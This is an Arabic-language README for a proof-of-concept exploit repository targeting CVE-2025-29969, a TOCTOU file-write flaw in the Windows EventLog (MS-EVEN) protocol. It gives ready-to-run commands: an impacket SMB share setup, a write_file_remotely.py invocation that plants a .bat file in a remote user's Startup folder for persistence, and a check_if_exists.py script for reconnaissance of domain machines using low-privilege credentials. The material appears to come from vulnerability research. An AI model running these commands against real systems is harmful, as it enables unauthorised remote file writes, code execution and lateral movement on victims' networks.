
استغلال CVE-2025-29969
EventLogin هي ثغرة من نوع Time-of-check time-of-use (TOCTOU) في بروتوكول MS-EVEN. تُمكّن هذه الثغرة المستخدمين ذوي الصلاحيات المنخفضة من كتابة ملفات عشوائية على جهاز بعيد، مما يتجاوز فعليًا الحاجة إلى حساب مسؤول للكتابة عن بُعد.
يوجد نصان برمجيان في هذا المستودع، الأول يستغل الثغرة (write_file_remotely.py)، والآخر يستخدم إحدى بدائيات الثغرة للتحقق من وجود ملف عن بُعد أو عدمه، كمستخدم منخفض الصلاحية، وهو مفيد، على سبيل المثال، لرؤية البرامج المثبتة على أجهزة أخرى في المجال.
يمكنك قراءة التحليل الكامل هنا:
EventLog-in: الانتشار باستخدام بيانات اعتماد ضعيفة عبر خدمة Eventlog في Microsoft Windows
أولاً، أنشئ مشاركة SMB باستخدام impacket:
impacket-smbserver -smb2support Share /tmp/safebreach
ملاحظة: يستخدم النص البرمجي 'Share' كاسم مشاركة مبرمج بشكل ثابت، قم بتعديله إذا لزم الأمر.
ثم، قم بتشغيل النص البرمجي write_file_remotely.py مع تضمين جميع المعاملات المطلوبة:
ip_to_attack - عنوان IP للجهاز البعيد.smb_server_ip - عنوان IP للجهاز الذي فتحت عليه المشاركة، يمكن أن يكون جهاز المهاجم.username و password - بيانات اعتماد الحساب منخفض الصلاحية.valid_evtx_file_path - مسار إلى ملف EVTX صالح تخزنه في نفس المشاركة التي فتحتها مسبقًا.local_file_path - الملف الذي تريد رفعه.remote_file_path - مسار الملف البعيد الذي تريد الرفع إليه.مثال:
python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\\Users\\lowuser\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\target.bat"
هذا النص البرمجي لا يستخدم الثغرة بذاتها، بل يستخدم فقط بدائية "CreateFile" ويمكن أن يساعدك في استطلاع الشبكة.
على سبيل المثال، دليل Program Files لجهاز بعيد في مجال ما يمكن الوصول إليه من قبل مجموعة 'Users' بأكملها، مما يعني أنه باستخدام بيانات اعتماد أي مستخدم يمكنك التحقق من وجود ملف أو عدمه في جهاز آخر.
يقبل المعاملات التالية:
ip_to_attack - عنوان IP للاستطلاعusername - اسم المستخدم وكلمة مرور مستخدم المجال.filepath_to_check - ملف للتحقق منهعلى سبيل المثال، تحقق مما إذا كان Wireshark مثبتًا على وحدة التحكم بالمجال (192.168.56.57) باستخدام مستخدم منخفض الصلاحية.
python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"
Result:
FILE_EXISTS_AND_IS_DIRECTORY